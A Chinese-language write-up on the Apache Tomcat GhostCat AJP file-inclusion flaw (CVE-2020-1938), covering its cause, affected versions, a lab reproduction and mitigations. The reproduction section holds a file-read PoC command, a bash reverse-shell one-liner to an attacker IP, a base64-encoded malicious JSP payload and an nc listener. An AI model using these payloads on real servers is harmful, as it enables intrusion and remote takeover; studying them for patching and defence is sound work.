Tomcat AJP文件包含漏洞(CVE-2020-1938)
字数 1531 2025-08-11 17:40:32
Tomcat AJP文件包含漏洞(CVE-2020-1938)深度分析与防护指南
一、漏洞概述
CVE-2020-1938(又名GhostCat)是由长亭科技安全研究员发现的Apache Tomcat服务器中的高危安全漏洞。该漏洞源于Tomcat在处理AJP协议请求时存在设计缺陷,导致攻击者能够读取或包含Tomcat上所有webapp目录下的任意文件,在特定条件下甚至可实现远程代码执行(RCE)。
二、漏洞原理分析
1. 漏洞成因
Tomcat在处理AJP请求时未对请求进行充分验证,攻击者可通过设置AJP连接器封装的request对象的属性,导致:
- 任意文件读取漏洞:可读取webapp目录下的任意文件(如配置文件、源代码)
- 代码执行漏洞:配合文件上传功能可实现远程代码执行
2. 技术细节
漏洞涉及两个关键配置文件:
-
conf/server.xml:定义Tomcat启动时的组件属性,包含两个Connector:- HTTP Connector(默认监听8080端口)
- AJP Connector(默认监听8009端口)
-
conf/web.xml:定义Tomcat内建的servlet,特别是:- Default Servlet:处理所有未被匹配到其他servlet的URL请求
- JSP Servlet:处理以.jsp/.jspx为后缀的URL请求
3. Tomcat架构相关组件
- Connector:接收客户端请求,解析后交由Container处理
- Container:包含多个Host(虚拟主机),每个Host对应一个域名
- Host:可包含多个Context(web应用)
- Context:包含多个Wrapper(与servlet一一对应)
三、影响范围
受影响的Tomcat版本:
- Apache Tomcat 9.x < 9.0.31
- Apache Tomcat 8.x < 8.5.51
- Apache Tomcat 7.x < 7.0.100
- Apache Tomcat 6.x(仅文件读取影响)
四、漏洞复现
1. 环境搭建
使用Docker快速搭建测试环境:
cd CVE-2020-1938/
docker-compose up -d
2. 文件读取利用
使用POC脚本读取敏感文件(如web.xml):
python2 CNVD-2020-10487-Tomcat-Ajp-lfi/1.py 192.168.111.133 -p 8009 -f /WEB-INF/web.xml
3. 远程代码执行(RCE)利用
前提条件:目标系统存在文件上传漏洞
步骤:
-
准备反弹shell payload(Base64编码):
echo "bash -i >& /dev/tcp/192.168.111.129/4444 0>&1" | base64 -
创建恶意JSP文件(cmd.txt):
<%Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjkvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}");%> -
上传文件到目标服务器:
docker cp cmd.txt 6900d2621470:/usr/local/tomcat/webapps/ROOT -
在攻击机开启监听:
nc -lvvp 4444 -
利用漏洞执行恶意文件:
python3 ajpShooter.py http://192.168.111.133 8009 /cmd.txt eval
五、防护措施
1. 官方修复方案
立即升级到以下安全版本:
- Tomcat 9.x → 9.0.31+
- Tomcat 8.x → 8.5.51+
- Tomcat 7.x → 7.0.100+
2. 临时缓解措施
方案一:禁用AJP协议
- 编辑
conf/server.xml - 找到并注释/删除以下行:
修改为:<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /><!--<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />-->
方案二:配置AJP认证
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443"
address="YOUR_TOMCAT_IP_ADDRESS"
secret="YOUR_TOMCAT_AJP_SECRET"/>
注:将YOUR_TOMCAT_AJP_SECRET设置为高强度随机值
3. 其他安全建议
- 限制AJP连接器的监听地址(仅允许可信IP访问)
- 定期审计webapp目录下的文件权限
- 实施严格的输入验证和输出编码
- 部署WAF等防护设备拦截恶意请求
六、参考资源
-
漏洞POC:
- https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
- https://github.com/00theway/Ghostcat-CNVD-2020-10487
-
官方安全公告:
- Apache Tomcat官方安全更新页面
-
漏洞分析文章:
- 长亭科技技术博客
- FreeBuf漏洞分析专栏